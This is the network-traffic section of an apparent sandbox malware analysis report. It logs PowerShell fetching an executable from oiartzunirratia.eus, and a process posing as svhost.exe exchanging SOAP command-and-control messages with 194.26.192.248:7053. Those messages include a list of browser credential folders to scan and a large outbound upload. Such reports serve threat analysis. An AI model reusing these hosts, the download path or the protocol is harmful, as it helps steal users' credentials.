Feb 2, 2023 08:11:30.674997091 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675014019 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675030947 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675050020 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675067902 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675086021 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675103903 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675121069 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675138950 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675157070 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675174952 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675194979 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675214052 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675232887 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.675251961 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687131882 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687164068 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687182903 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687201023 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687218904 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687237978 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687256098 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687273026 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687290907 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687309980 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687326908 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687344074 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687361956 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687381029 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687397003 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687414885 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687432051 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687449932 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.687467098 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.711616993 CET	7053	49697	194.26.192.248	192.168.2.4
Feb 2, 2023 08:11:30.739523888 CET	49697	7053	192.168.2.4	194.26.192.248

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 2, 2023 08:09:14.959439993 CET	56572	53	192.168.2.4	8.8.8.8
Feb 2, 2023 08:09:15.053035021 CET	53	56572	8.8.8.8	192.168.2.4
Feb 2, 2023 08:11:28.001291037 CET	50911	53	192.168.2.4	8.8.8.8
Feb 2, 2023 08:11:28.033365965 CET	59683	53	192.168.2.4	8.8.8.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 2, 2023 08:09:14.959439993 CET	192.168.2.4	8.8.8.8	0x5cdb	Standard query (0)	oiartzunirratia.eus	A (IP address)	IN (0x0001)	false
Feb 2, 2023 08:11:28.001291037 CET	192.168.2.4	8.8.8.8	0x574e	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false
Feb 2, 2023 08:11:28.033365965 CET	192.168.2.4	8.8.8.8	0xb18f	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 2, 2023 08:09:15.053035021 CET	8.8.8.8	192.168.2.4	0x5cdb	No error (0)	oiartzunirratia.eus		185.101.226.22	A (IP address)	IN (0x0001)	false
Feb 2, 2023 08:11:28.023376942 CET	8.8.8.8	192.168.2.4	0x574e	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 2, 2023 08:11:28.053335905 CET	8.8.8.8	192.168.2.4	0xb18f	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

oiartzunirratia.eus

194.26.192.248:7053

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49696	185.101.226.22	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49697	194.26.192.248	7053	C:\Users\user\AppData\Roaming\svhost.exe

Timestamp	kBytes transferred	Direction	Data
Feb 2, 2023 08:11:03.343287945 CET	1356	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 194.26.192.248:7053 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Feb 2, 2023 08:11:03.372606993 CET	1356	IN	HTTP/1.1 100 Continue
Feb 2, 2023 08:11:03.401093960 CET	1356	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Thu, 02 Feb 2023 07:11:03 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Feb 2, 2023 08:11:27.718051910 CET	1357	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 194.26.192.248:7053 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Feb 2, 2023 08:11:27.746995926 CET	1357	IN	HTTP/1.1 100 Continue
Feb 2, 2023 08:11:27.806335926 CET	1358	IN	HTTP/1.1 200 OK Content-Length: 54390 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Thu, 02 Feb 2023 07:11:27 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 4f 62 6a 65 63 74 34 3e 74 72 75 65 3c 2f 61 3a 4f 62 6a 65 63 74 34 3e 3c 61 3a 4f 62 6a 65 63 74 36 3e 66 61 6c 73 65 3c 2f 61 3a 4f 62 6a 65 63 74 36 3e 3c 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 74 72 75 65 3c 2f 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 3c 61 3a 53 63 61 6e 43 68 72 6f 6d 65 42 72 6f 77 73 65 72 73 50 61 74 68 73 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 42 61 74 74 6c 65 2e 6e 65 74 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 68 72 6f 6d 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 28 78 38 36 29 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 5c 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 4d 61 70 6c 65 53 74 75 64 69 6f 5c 43 68 72 6f 6d 65 50 6c 75 73 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 49 72 69 64 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 37 53 74 61 72 5c 37 53 74 61 72 5c 55 73 65 72 20 44 61 74 Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Iridium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\7Star\7Star\User Dat
Feb 2, 2023 08:11:30.067455053 CET	1420	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 194.26.192.248:7053 Content-Length: 1146942 Expect: 100-continue Accept-Encoding: gzip, deflate
Feb 2, 2023 08:11:30.095446110 CET	1420	IN	HTTP/1.1 100 Continue
Feb 2, 2023 08:11:30.542861938 CET	2550	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Thu, 02 Feb 2023 07:11:30 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Feb 2, 2023 08:11:30.547828913 CET	2551	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 194.26.192.248:7053 Content-Length: 1146934 Expect: 100-continue Accept-Encoding: gzip, deflate
Feb 2, 2023 08:11:30.576735973 CET	2551	IN	HTTP/1.1 100 Continue
Feb 2, 2023 08:11:30.711616993 CET	3857	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Thu, 02 Feb 2023 07:11:30 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49696	185.101.226.22	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
2023-02-02 07:09:15 UTC	0	OUT	GET /install/clean/Lcovlccdxd.exe HTTP/1.1 Host: oiartzunirratia.eus Connection: Keep-Alive
2023-02-02 07:09:15 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 02 Feb 2023 07:09:15 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 01 Feb 2023 15:12:01 GMT Accept-Ranges: bytes Content-Length: 1262592 Content-Type: application/x-msdownload
2023-02-02 07:09:15 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 51 80 da 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 3a 13 00 00 08 00 00 00 00 00 00 8e 59 13 00 00 20 00 00 00 00 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 13 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELQc0:Y @ `
2023-02-02 07:09:15 UTC	8	IN	Data Raw: 14 4e 5c 23 61 1d 78 3a 2a 3b a9 58 e5 0f 69 fb 4a 64 06 9f c8 64 2f 69 b4 d7 13 d5 ee 99 3c 11 82 e5 6e 9a 8f 26 6d c5 a5 f6 46 a9 5c 0c 29 0e 53 4f e9 81 b9 02 1d fc 95 45 46 2c 1f fe 96 92 51 bb 92 c1 ac 58 c0 c2 9e 8a c7 32 18 fa c4 2b 3b bc 49 83 18 2c 08 b9 43 ee 1a b5 dc cc 3d 64 ea ab e1 66 83 0d 40 ee be f5 21 37 4b f1 38 04 1b 9e 18 c0 8d 33 33 96 64 f1 16 ec 19 8d d8 e4 66 f8 ca 8e 27 22 a2 d3 5d 79 ff 89 f7 be c4 3c 34 db e1 6d 4a 9d 92 02 a8 82 5d 67 4b ce 27 bf 1f 7a 76 b8 e8 24 5d d7 cb 7a 8b 7e 33 f9 2c fa ed 10 68 b7 6e 77 9b 32 32 cd ad 94 53 91 df 83 bd 51 45 fd ec 7c 58 cd 52 2b 56 b3 8e 86 60 ab 73 22 47 77 24 5f a2 d4 8b 28 75 14 97 62 6f d7 fe 90 8e bd 17 73 84 92 a9 e6 ad 34 ab 1b 5e 2c 4c 76 06 81 03 f5 86 d5 0e 65 f6 c1 49 f3 30 Data Ascii: N\#ax:*;XiJdd/i<n&mF\)SOEF,QX2+;I,C=df@!7K833df'"]y<4mJ]gK'zv$]z~3,hnw22SQE\|XR+V`s"Gw$_(ubos4^,LveI0
2023-02-02 07:09:15 UTC	15	IN	Data Raw: f7 81 8f 7e 0f d8 a7 72 cc b1 fa f6 a9 cb 31 87 1f 06 37 da 75 a1 3b 26 53 dc a4 74 2d 8d 62 1e d5 71 02 7d 5f 11 11 36 72 68 16 ee b9 5f 61 84 f4 0d b6 f5 44 fa bc a5 09 56 74 7b 44 58 de 63 22 11 6f a9 87 2e b4 57 45 11 c8 c7 69 b4 f4 3d 09 d6 bd f4 cd b1 d9 60 06 6c ad 87 43 92 0c 7c b1 18 bd 9a c8 43 60 12 e3 dc 3a a6 51 9c d8 e3 b0 55 ab d9 81 37 38 fc 17 f0 55 cd 4f f8 c9 67 6b 7f 80 4c ae 79 e5 bf 3a ec 34 2f f9 66 d2 8a 70 92 5e ca a4 93 90 b3 88 18 40 59 e2 55 8e cf 7a 81 ad ff e2 bc 7a 6b da 57 0d bc ca 64 e6 db 29 a7 87 f0 86 49 35 cf d4 2c c4 69 aa 39 51 d7 82 1e c4 c9 bb a5 28 e9 16 f6 d9 35 35 5a c1 94 4e 07 a2 f5 04 f0 d0 52 a6 3a cc cb 91 1b b1 d8 be 67 62 84 6f 5d 98 4f b3 df 0f de 66 22 f8 d0 c9 2c 64 36 3b 7e f7 da 9b e6 3f 47 be 7f 55 Data Ascii: ~r17u;&St-bq}_6rh_aDVt{DXc"o.WEi=`lC\|C`:QU78UOgkLy:4/fp^@YUzzkWd)I5,i9Q(55ZNR:gbo]Of",d6;~?GU
2023-02-02 07:09:15 UTC	23	IN	Data Raw: ce c2 f6 fe 07 52 b3 db d6 77 ed d8 65 54 f6 98 a1 eb 51 bb 27 de bf a5 ad 23 ac aa 19 c3 0d a8 72 91 48 50 2e 12 1e 1b 68 51 88 78 52 b5 51 e7 95 ee 21 57 ba 63 9d ff 32 bf 72 b6 00 e7 5b fa 24 1e ab 3e 53 78 dd f0 b0 a3 d5 95 31 16 13 c9 46 39 88 e4 7a 49 f8 bd 93 72 62 cc ea 5a a9 56 39 c5 2f 27 89 c5 e7 06 f0 42 c3 bf 03 72 b2 7a 79 ea 3f 4c e2 3c 7a 1b f7 f9 96 a4 39 8f 73 9d 16 1a 2a 13 b8 6b 1a f8 c7 bd eb 8b 85 66 1e 88 ed e5 d6 56 1e 9b 95 e4 eb 6e a5 c6 84 6d 88 5e 90 c8 08 3e 13 b1 a0 80 81 05 fe b7 ca f5 9a c1 bb bb d0 ed 42 fd 4d 18 51 5e 66 4f df 21 92 6f 1b 94 56 0e 21 7d 03 a1 45 3b 4f 93 01 ac 60 26 85 bb 6a be d4 84 a0 93 63 c7 c0 ef 37 12 b5 f7 47 ab 4b db b2 80 85 c1 72 99 16 14 d7 35 32 24 cb bf c2 c0 92 91 98 11 2d b2 f7 43 3b 4b da Data Ascii: RweTQ'#rHP.hQxRQ!Wc2r[$>Sx1F9zIrbZV9/'Brzy?L<z9s*kfVnm^>BMQ^fO!oV!}E;O`&jc7GKr52$-C;K
2023-02-02 07:09:15 UTC	31	IN	Data Raw: f7 33 49 83 c9 97 ef e0 c7 3b b0 05 76 62 5a b0 92 e7 b1 68 a2 6e 75 a1 e4 12 bc 38 13 90 51 5a 91 fd bb 74 31 42 58 4d 10 a2 02 c7 81 ff ca f1 b8 fb 79 c6 86 af 30 46 d3 67 b9 41 b7 b9 67 f4 b2 5e ea e7 d5 65 5a 16 e0 f6 b3 7e 0e 9f ae eb ca a5 97 df b8 80 f4 4f 97 04 1a 60 ac 17 92 e1 23 74 d7 8e 60 b1 f4 e8 d5 1f a0 32 5b 97 da 39 0d e1 f7 f7 af 9f 4f 34 bb c1 16 83 dd 28 ab b0 99 17 46 f7 8b 5e 30 df 68 a6 f5 13 b2 1a a4 79 2e ce 4d f3 a0 33 60 cb b0 8f 8f 76 06 93 1d 7c c8 3f 87 b1 9e fe 2e 70 3c d2 68 d0 68 b0 22 87 b9 05 ad 8b ae d6 9c 1d 06 d2 3f 43 41 a3 f4 0a f4 64 b4 1e 9e 63 00 1f 6f fb 09 7a f8 14 c6 fa e9 32 bb f3 fb 5d 12 90 18 da 08 3a fb 17 e2 ce 28 5f b6 22 43 de aa ce 4b cd e7 5b f4 d1 73 7d 6d ee f4 87 ca 41 24 cd ff 4d 6c b1 05 fe 8a Data Ascii: 3I;vbZhnu8QZt1BXMy0FgAg^eZ~O`#t`2[9O4(F^0hy.M3`v\|?.p<hh"?CAdcoz2]:(_"CK[s}mA$Ml
2023-02-02 07:09:15 UTC	39	IN	Data Raw: 84 41 15 c7 3b e3 37 04 4f bb a8 8f 26 2d 0c df d1 3d 4c da e7 35 32 85 e5 78 70 b8 7f ab 67 42 f4 25 ba db 0c 60 1d 8e 24 7b a0 ec b1 d8 3c 16 65 8e a2 ee 11 a3 1e 9f a1 7b 34 ba 19 18 08 aa cd 1f 0a a4 15 f2 bd 33 e5 a8 95 63 5e 58 b1 8b 4b 9c cd 5d e0 89 9b fe 8b f2 3b 53 ee 7d 29 bf 11 f9 3d 5a ee ad 95 e3 5d 39 87 85 18 60 e9 3d 39 97 7d 29 f0 86 dc 2f 73 08 81 ce 32 40 60 89 6a e4 fa 54 c7 f6 d7 be 2c 80 9c 08 0f 01 c2 7a a2 77 23 a4 77 e5 db 56 7e 1f 74 9c ac ec 51 ec 7b 75 b9 7f 9b 78 08 5d 1c dc e4 c9 5d 13 28 c5 6a 52 a5 bf 4b 8d 13 4e 82 0d 54 40 e7 0e 8e c3 9b cc b0 45 62 1a 91 bc 26 4f 45 02 9b 45 fb 63 9c bd 4e 0b 3a 54 65 66 3b 4b f6 42 eb c6 43 8f 61 64 b0 8a 24 b7 c7 ed b3 e5 76 fc e0 b0 e3 1e c5 e4 21 6e 93 d3 e8 b7 79 3a 72 f4 65 f8 e2 Data Ascii: A;7O&-=L52xpgB%`${<e{43c^XK];S})=Z]9`=9})/s2@`jT,zw#wV~tQ{ux]](jRKNT@Eb&OEEcN:Tef;KBCad$v!ny:re
2023-02-02 07:09:15 UTC	47	IN	Data Raw: 12 97 a0 f9 87 42 a2 f6 82 6b bc 6c 4f 54 65 77 18 00 d9 85 e2 5b a8 2c 2c 6f ab 95 08 36 08 af 8c f6 d3 58 60 8f 54 ba 8a 99 9a bc 6e bc dd aa da f2 53 2b 64 50 82 ba a3 9b 32 ed 95 30 47 19 7d 27 c3 b3 12 d2 b8 15 01 d7 6f 0e 39 1d ed 1a ff 62 a3 70 f4 4e ed cc 7c bd 72 66 d6 16 13 5e 0a 8a f3 f0 f6 f4 b0 63 dd 60 c8 cd c7 e8 b7 87 d3 b6 21 7e 83 df f8 14 c2 d5 f8 be 5a e0 09 ca 59 c6 26 5c 9a 0a 1a 0a 16 ed 37 49 04 d0 ba d1 e3 82 43 ac d5 40 57 47 bb 81 64 ec ef d2 3c 38 35 a7 4f 87 ac d7 1b 3c be e4 d9 86 34 79 69 89 72 7d b5 ef a6 14 b2 bc f5 c0 81 98 7a 9d 8b 9a fb d8 a5 5a 5a 39 95 9f 3a 05 b3 76 2e 82 b1 61 5b 51 4c e3 e8 06 e5 f7 fe fe da a6 15 d6 6f 93 ae 5e 37 dc 8a dd 76 ff 6b 0e aa bf 28 17 aa 8f 06 b6 c0 7a 19 a6 59 96 3b 03 9b 20 ad fb c3 Data Ascii: BklOTew[,,o6X`TnS+dP20G}'o9bpN\|rf^c`!~ZY&\7IC@WGd<85O<4yir}zZZ9:v.a[QLo^7vk(zY;
